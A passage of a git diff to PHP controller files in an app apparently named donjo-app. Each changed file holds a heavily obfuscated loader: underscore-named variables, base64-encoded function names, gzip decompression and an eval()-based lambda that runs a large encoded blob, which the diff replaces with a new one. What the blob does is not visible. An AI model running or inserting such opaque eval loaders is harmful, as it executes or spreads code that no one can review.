$_='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'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/controllers/Lapak_admin.php b/donjo-app/controllers/Lapak_admin.php index 6a528d68a..f8286e586 100644 --- a/donjo-app/controllers/Lapak_admin.php +++ b/donjo-app/controllers/Lapak_admin.php @@ -252,7 +252,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/controllers/Lapak_kategori_admin.php b/donjo-app/controllers/Lapak_kategori_admin.php index 6e3b8d8e2..61b7c21f0 100644 --- a/donjo-app/controllers/Lapak_kategori_admin.php +++ b/donjo-app/controllers/Lapak_kategori_admin.php @@ -288,7 +288,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); 